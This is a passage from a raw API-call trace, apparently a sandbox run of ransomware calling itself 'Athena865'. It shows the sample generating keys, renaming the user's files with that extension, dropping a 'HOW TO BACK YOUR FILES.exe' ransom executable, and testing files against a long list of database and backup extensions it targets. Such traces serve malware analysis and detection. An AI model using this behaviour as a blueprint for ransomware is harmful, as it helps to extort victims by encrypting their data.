hTemplateFile=0x0) returned 0x154 [0052.315] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5310) returned 1 [0052.315] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.315] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.315] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.316] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.316] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.316] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.316] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17c0, lpName=0x0) returned 0x17c [0052.317] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17c0) returned 0x100000 [0052.317] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.318] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.318] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.318] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.320] lstrcpyW (in: lpString1=0x241e8b4, lpString2="CqajU.lnk" | out: lpString1="CqajU.lnk") returned="CqajU.lnk" [0052.320] lstrlenW (lpString="CqajU.lnk") returned 9 [0052.320] lstrlenW (lpString="Athena865") returned 9 [0052.320] lstrlenW (lpString=".dll") returned 4 [0052.320] lstrcmpiW (lpString1="CqajU.lnk", lpString2=".dll") returned 1 [0052.320] lstrlenW (lpString=".lnk") returned 4 [0052.320] lstrcmpiW (lpString1="CqajU.lnk", lpString2=".lnk") returned 1 [0052.320] lstrlenW (lpString=".ini") returned 4 [0052.320] lstrcmpiW (lpString1="CqajU.lnk", lpString2=".ini") returned 1 [0052.320] lstrlenW (lpString=".sys") returned 4 [0052.320] lstrcmpiW (lpString1="CqajU.lnk", lpString2=".sys") returned 1 [0052.320] lstrlenW (lpString="CqajU.lnk") returned 9 [0052.320] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CqajU.lnk.Athena865") returned 73 [0052.320] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CqajU.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cqaju.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CqajU.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cqaju.lnk.athena865"), dwFlags=0x1) returned 1 [0052.321] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CqajU.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cqaju.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0052.321] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2340) returned 1 [0052.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.321] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.322] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.322] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.322] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc30, lpName=0x0) returned 0x17c [0052.322] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc30) returned 0x100000 [0052.322] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.323] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.323] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.325] lstrcpyW (in: lpString1=0x241e8b4, lpString2="CsnV8Yv1T6B7Z1J.mkv.lnk" | out: lpString1="CsnV8Yv1T6B7Z1J.mkv.lnk") returned="CsnV8Yv1T6B7Z1J.mkv.lnk" [0052.325] lstrlenW (lpString="CsnV8Yv1T6B7Z1J.mkv.lnk") returned 23 [0052.325] lstrlenW (lpString="Athena865") returned 9 [0052.325] lstrcmpiW (lpString1="J.mkv.lnk", lpString2="Athena865") returned 1 [0052.325] lstrlenW (lpString=".dll") returned 4 [0052.325] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.lnk", lpString2=".dll") returned 1 [0052.325] lstrlenW (lpString=".lnk") returned 4 [0052.325] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.lnk", lpString2=".lnk") returned 1 [0052.325] lstrlenW (lpString=".ini") returned 4 [0052.325] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.lnk", lpString2=".ini") returned 1 [0052.325] lstrlenW (lpString=".sys") returned 4 [0052.325] lstrcmpiW (lpString1="CsnV8Yv1T6B7Z1J.mkv.lnk", lpString2=".sys") returned 1 [0052.325] lstrlenW (lpString="CsnV8Yv1T6B7Z1J.mkv.lnk") returned 23 [0052.325] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CsnV8Yv1T6B7Z1J.mkv.lnk.Athena865") returned 87 [0052.325] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CsnV8Yv1T6B7Z1J.mkv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\csnv8yv1t6b7z1j.mkv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CsnV8Yv1T6B7Z1J.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\csnv8yv1t6b7z1j.mkv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.326] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CsnV8Yv1T6B7Z1J.mkv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\csnv8yv1t6b7z1j.mkv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0052.327] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1035) returned 1 [0052.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.327] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.328] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.328] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.328] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x710, lpName=0x0) returned 0x17c [0052.328] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x710) returned 0x100000 [0052.328] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.329] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.329] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.330] lstrcpyW (in: lpString1=0x241e8b4, lpString2="CustomDestinations" | out: lpString1="CustomDestinations") returned="CustomDestinations" [0052.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c548 [0052.330] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x92) returned 0x52ab00 [0052.330] lstrcatW (in: lpString1="CustomDestinations", lpString2="\\" | out: lpString1="CustomDestinations\\") returned="CustomDestinations\\" [0052.330] lstrcatW (in: lpString1="CustomDestinations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="CustomDestinations\\HOW TO BACK YOUR FILES.exe") returned="CustomDestinations\\HOW TO BACK YOUR FILES.exe" [0052.330] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\how to back your files.exe"), bFailIfExists=1) returned 1 [0052.333] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f7a440, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb1f7a440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb1f7a440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1395, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CW1x.lnk", cAlternateFileName="")) returned 1 [0052.333] lstrcmpiW (lpString1="CW1x.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.333] lstrcmpiW (lpString1="CW1x.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.333] lstrcmpiW (lpString1="CW1x.lnk", lpString2=".") returned 1 [0052.333] lstrcmpiW (lpString1="CW1x.lnk", lpString2="..") returned 1 [0052.333] lstrcmpiW (lpString1="CW1x.lnk", lpString2="windows") returned -1 [0052.333] lstrcmpiW (lpString1="CW1x.lnk", lpString2="bootmgr") returned 1 [0052.334] lstrcmpiW (lpString1="CW1x.lnk", lpString2="temp") returned -1 [0052.334] lstrcmpiW (lpString1="CW1x.lnk", lpString2="pagefile.sys") returned -1 [0052.334] lstrcmpiW (lpString1="CW1x.lnk", lpString2="boot") returned 1 [0052.334] lstrcmpiW (lpString1="CW1x.lnk", lpString2="ids.txt") returned -1 [0052.334] lstrcmpiW (lpString1="CW1x.lnk", lpString2="ntuser.dat") returned -1 [0052.334] lstrcmpiW (lpString1="CW1x.lnk", lpString2="perflogs") returned -1 [0052.334] lstrcmpiW (lpString1="CW1x.lnk", lpString2="MSBuild") returned -1 [0052.334] lstrlenW (lpString="CW1x.lnk") returned 8 [0052.334] lstrcpyW (in: lpString1=0x241e8b4, lpString2="CW1x.lnk" | out: lpString1="CW1x.lnk") returned="CW1x.lnk" [0052.334] lstrlenW (lpString="CW1x.lnk") returned 8 [0052.334] lstrlenW (lpString="Athena865") returned 9 [0052.334] lstrlenW (lpString=".dll") returned 4 [0052.334] lstrcmpiW (lpString1="CW1x.lnk", lpString2=".dll") returned 1 [0052.334] lstrlenW (lpString=".lnk") returned 4 [0052.334] lstrcmpiW (lpString1="CW1x.lnk", lpString2=".lnk") returned 1 [0052.334] lstrlenW (lpString=".ini") returned 4 [0052.334] lstrcmpiW (lpString1="CW1x.lnk", lpString2=".ini") returned 1 [0052.334] lstrlenW (lpString=".sys") returned 4 [0052.334] lstrcmpiW (lpString1="CW1x.lnk", lpString2=".sys") returned 1 [0052.334] lstrlenW (lpString="CW1x.lnk") returned 8 [0052.334] lstrlenW (lpString="bak") returned 3 [0052.334] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.334] lstrlenW (lpString="ba_") returned 3 [0052.334] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.334] lstrlenW (lpString="dbb") returned 3 [0052.334] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.334] lstrlenW (lpString="vmdk") returned 4 [0052.334] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.334] lstrlenW (lpString="rar") returned 3 [0052.334] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.334] lstrlenW (lpString="zip") returned 3 [0052.334] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.334] lstrlenW (lpString="tgz") returned 3 [0052.334] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.335] lstrlenW (lpString="vbox") returned 4 [0052.335] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.335] lstrlenW (lpString="vdi") returned 3 [0052.335] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.335] lstrlenW (lpString="vhd") returned 3 [0052.335] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.335] lstrlenW (lpString="vhdx") returned 4 [0052.335] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.335] lstrlenW (lpString="avhd") returned 4 [0052.335] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.335] lstrlenW (lpString="db") returned 2 [0052.335] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.335] lstrlenW (lpString="db2") returned 3 [0052.335] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.335] lstrlenW (lpString="db3") returned 3 [0052.335] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.335] lstrlenW (lpString="dbf") returned 3 [0052.335] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.335] lstrlenW (lpString="mdf") returned 3 [0052.335] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.335] lstrlenW (lpString="mdb") returned 3 [0052.335] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.335] lstrlenW (lpString="sql") returned 3 [0052.335] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.335] lstrlenW (lpString="sqlite") returned 6 [0052.335] lstrcmpiW (lpString1="1x.lnk", lpString2="sqlite") returned -1 [0052.335] lstrlenW (lpString="sqlite3") returned 7 [0052.335] lstrcmpiW (lpString1="W1x.lnk", lpString2="sqlite3") returned 1 [0052.335] lstrlenW (lpString="sqlitedb") returned 8 [0052.335] lstrlenW (lpString="xml") returned 3 [0052.335] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.335] lstrlenW (lpString="$er") returned 3 [0052.335] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.336] lstrlenW (lpString="4dd") returned 3 [0052.336] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.336] lstrlenW (lpString="4dl") returned 3 [0052.336] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.336] lstrlenW (lpString="^^^") returned 3 [0052.336] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.336] lstrlenW (lpString="abs") returned 3 [0052.336] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.336] lstrlenW (lpString="abx") returned 3 [0052.336] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.336] lstrlenW (lpString="accdb") returned 5 [0052.336] lstrcmpiW (lpString1="x.lnk", lpString2="accdb") returned 1 [0052.336] lstrlenW (lpString="accdc") returned 5 [0052.336] lstrcmpiW (lpString1="x.lnk", lpString2="accdc") returned 1 [0052.336] lstrlenW (lpString="accde") returned 5 [0052.336] lstrcmpiW (lpString1="x.lnk", lpString2="accde") returned 1 [0052.336] lstrlenW (lpString="accdr") returned 5 [0052.336] lstrcmpiW (lpString1="x.lnk", lpString2="accdr") returned 1 [0052.336] lstrlenW (lpString="accdt") returned 5 [0052.336] lstrcmpiW (lpString1="x.lnk", lpString2="accdt") returned 1 [0052.336] lstrlenW (lpString="accdw") returned 5 [0052.336] lstrcmpiW (lpString1="x.lnk", lpString2="accdw") returned 1 [0052.336] lstrlenW (lpString="accft") returned 5 [0052.336] lstrcmpiW (lpString1="x.lnk", lpString2="accft") returned 1 [0052.336] lstrlenW (lpString="adb") returned 3 [0052.336] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.336] lstrlenW (lpString="adb") returned 3 [0052.336] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.336] lstrlenW (lpString="ade") returned 3 [0052.336] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.336] lstrlenW (lpString="adf") returned 3 [0052.336] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.336] lstrlenW (lpString="adn") returned 3 [0052.336] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.337] lstrlenW (lpString="adp") returned 3 [0052.337] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.337] lstrlenW (lpString="alf") returned 3 [0052.337] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.337] lstrlenW (lpString="ask") returned 3 [0052.337] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.337] lstrlenW (lpString="btr") returned 3 [0052.337] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.337] lstrlenW (lpString="cat") returned 3 [0052.337] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.337] lstrlenW (lpString="cdb") returned 3 [0052.337] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.337] lstrlenW (lpString="ckp") returned 3 [0052.337] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.337] lstrlenW (lpString="cma") returned 3 [0052.337] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.337] lstrlenW (lpString="cpd") returned 3 [0052.337] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.337] lstrlenW (lpString="dacpac") returned 6 [0052.337] lstrcmpiW (lpString1="1x.lnk", lpString2="dacpac") returned -1 [0052.337] lstrlenW (lpString="dad") returned 3 [0052.337] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.337] lstrlenW (lpString="dadiagrams") returned 10 [0052.337] lstrlenW (lpString="daschema") returned 8 [0052.337] lstrlenW (lpString="db-journal") returned 10 [0052.337] lstrlenW (lpString="db-shm") returned 6 [0052.337] lstrcmpiW (lpString1="1x.lnk", lpString2="db-shm") returned -1 [0052.337] lstrlenW (lpString="db-wal") returned 6 [0052.337] lstrcmpiW (lpString1="1x.lnk", lpString2="db-wal") returned -1 [0052.337] lstrlenW (lpString="dbc") returned 3 [0052.337] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.337] lstrlenW (lpString="dbs") returned 3 [0052.337] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.337] lstrlenW (lpString="dbt") returned 3 [0052.337] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.338] lstrlenW (lpString="dbv") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.338] lstrlenW (lpString="dbx") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.338] lstrlenW (lpString="dcb") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.338] lstrlenW (lpString="dct") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.338] lstrlenW (lpString="dcx") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.338] lstrlenW (lpString="ddl") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.338] lstrlenW (lpString="dlis") returned 4 [0052.338] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.338] lstrlenW (lpString="dp1") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.338] lstrlenW (lpString="dqy") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.338] lstrlenW (lpString="dsk") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0052.338] lstrlenW (lpString="dsn") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0052.338] lstrlenW (lpString="dtsx") returned 4 [0052.338] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0052.338] lstrlenW (lpString="dxl") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0052.338] lstrlenW (lpString="eco") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0052.338] lstrlenW (lpString="ecx") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0052.338] lstrlenW (lpString="edb") returned 3 [0052.338] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0052.338] lstrlenW (lpString="epim") returned 4 [0052.338] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0052.339] lstrlenW (lpString="fcd") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0052.339] lstrlenW (lpString="fdb") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0052.339] lstrlenW (lpString="fic") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0052.339] lstrlenW (lpString="flexolibrary") returned 12 [0052.339] lstrlenW (lpString="fm5") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0052.339] lstrlenW (lpString="fmp") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0052.339] lstrlenW (lpString="fmp12") returned 5 [0052.339] lstrcmpiW (lpString1="x.lnk", lpString2="fmp12") returned 1 [0052.339] lstrlenW (lpString="fmpsl") returned 5 [0052.339] lstrcmpiW (lpString1="x.lnk", lpString2="fmpsl") returned 1 [0052.339] lstrlenW (lpString="fol") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0052.339] lstrlenW (lpString="fp3") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0052.339] lstrlenW (lpString="fp4") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0052.339] lstrlenW (lpString="fp5") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0052.339] lstrlenW (lpString="fp7") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0052.339] lstrlenW (lpString="fpt") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0052.339] lstrlenW (lpString="frm") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0052.339] lstrlenW (lpString="gdb") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.339] lstrlenW (lpString="gdb") returned 3 [0052.339] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.339] lstrlenW (lpString="grdb") returned 4 [0052.340] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0052.340] lstrlenW (lpString="gwi") returned 3 [0052.340] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0052.340] lstrlenW (lpString="hdb") returned 3 [0052.340] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0052.340] lstrlenW (lpString="his") returned 3 [0052.340] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0052.340] lstrlenW (lpString="ib") returned 2 [0052.340] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0052.340] lstrlenW (lpString="idb") returned 3 [0052.340] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0052.340] lstrlenW (lpString="ihx") returned 3 [0052.340] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0052.340] lstrlenW (lpString="itdb") returned 4 [0052.340] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0052.340] lstrlenW (lpString="itw") returned 3 [0052.340] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0052.340] lstrlenW (lpString="jet") returned 3 [0052.340] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0052.340] lstrlenW (lpString="jtx") returned 3 [0052.340] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0052.340] lstrlenW (lpString="kdb") returned 3 [0052.340] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0052.340] lstrlenW (lpString="kexi") returned 4 [0052.340] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0052.340] lstrlenW (lpString="kexic") returned 5 [0052.340] lstrcmpiW (lpString1="x.lnk", lpString2="kexic") returned 1 [0052.340] lstrlenW (lpString="kexis") returned 5 [0052.340] lstrcmpiW (lpString1="x.lnk", lpString2="kexis") returned 1 [0052.340] lstrlenW (lpString="lgc") returned 3 [0052.340] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0052.340] lstrlenW (lpString="lwx") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0052.341] lstrlenW (lpString="maf") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0052.341] lstrlenW (lpString="maq") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0052.341] lstrlenW (lpString="mar") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0052.341] lstrlenW (lpString="marshal") returned 7 [0052.341] lstrcmpiW (lpString1="W1x.lnk", lpString2="marshal") returned 1 [0052.341] lstrlenW (lpString="mas") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0052.341] lstrlenW (lpString="mav") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0052.341] lstrlenW (lpString="maw") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0052.341] lstrlenW (lpString="mdbhtml") returned 7 [0052.341] lstrcmpiW (lpString1="W1x.lnk", lpString2="mdbhtml") returned 1 [0052.341] lstrlenW (lpString="mdn") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0052.341] lstrlenW (lpString="mdt") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0052.341] lstrlenW (lpString="mfd") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0052.341] lstrlenW (lpString="mpd") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0052.341] lstrlenW (lpString="mrg") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0052.341] lstrlenW (lpString="mud") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0052.341] lstrlenW (lpString="mwb") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0052.341] lstrlenW (lpString="myd") returned 3 [0052.341] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0052.341] lstrlenW (lpString="ndf") returned 3 [0052.342] 